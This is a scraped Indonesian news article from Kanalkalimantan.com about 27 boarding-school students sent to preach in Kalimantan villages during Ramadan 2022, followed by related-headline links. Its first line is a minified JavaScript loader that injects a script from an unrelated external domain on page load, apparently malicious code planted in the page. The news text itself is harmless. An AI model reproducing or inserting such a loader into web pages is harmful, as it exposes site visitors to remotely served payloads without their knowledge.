(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Dalam rangka dakwah dan syiar Islam, sebanyak 27 santri Muhammadiyah Boarding School (MBS) Nurul Amin Alabio, diterjunkan untuk berdakwah ke pelosok desa di Kalimantan Selatan dan Kalimantan Tengah selama bulan Ramadhan 1443 Hijriyah.
Dari total 27 santri sebanyak 9 santri putera dan 18 santri putri kelas akhir dilepas keberangkatannya oleh Mudir MBS Nurul Amin Ustadz Khairiyadi, dengan disaksikan para santri dan asatidz, Kamis (31/3/2022) di ruang induk Masjid Nurul Amin.
Daerah yang menjadi fokus dakwah yakni Desa Durian Bungkuk Kabupaten Tanah Laut, Desa Patikalain Kabupaten Hulu Sungai Tengah (Bina Muallaf), Desa Tampa Bartim Kalteng (Bina Muallaf) dan Desa Kamawakan Loksado, Hulu Sungai Selatan (HSS) serta sejumlah TPA/TPQ dan Mushollah AUM Muhammadiyah di Kabupaten HSU.
Wakil Direktur I MBS Nurul Amin Alabio Sahlipani menjelaskan, pengiriman santri kelas akhir ke lapangan dakwah merupakan program santri mengabdi yang ada di pondok pesantren ini.
Baca juga : Judi Domino Digrebek Polisi, Empat Laki-laki Dibawa ke Mapolres HSU
Program ini dimaksudkan untuk memberikan pembelajaran langsung di lapangan bagi santri sebelum mereka benar-benar terjun ke masyarakat.
“Program ini juga dalam rangka dakwah dan syiar Islam yang menjadi bagian dari tanggungjawab pesantren,” jelasnya.
Ia menambahkan, sebelum diterjunkan para santri telah diberikan pembekalan dan pelatihan selama dua hari, dengan materi yang diberikan seperti public speaking, fiqih khutbah, fiqih imam, dan lain-lain.
Sementara, Mudir MBS Nurul Amin, Khairiyadi, mengutarakan rasa syukur karena program santri mengabdi tetap bisa dilaksanakan seperti tahun lalu.
Baca juga : Menyusul Fdl, Seorang Terduga Pengedar Sabu di Cempaka Ikut Dibekuk
Ia juga menyampaikan terima kasih kepada para asatid, khususnya para tokoh persyarikatan yang desa dan lembaganya menjadi fokus pembelajaran dan pengabdian bagi santri atas kerjasama dan dukungannya.
Dirinya berharap agar anak-anak santri diberikan bimbingan dan arahan, karena mereka pada dasarnya juga masih tahap pembelajaran, sehingga apabila terdapat kekurangan agar bisa dimaklumi dan diberikan bimbingan.
Khariyadi berpesan kepada para santri agar menjaga kesehatan dengan baik, menjaga nama baik diri dan pesantren, serta menjaga akhlak dalam setiap aktivitas di tengah masyarakat. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
This website uses cookies.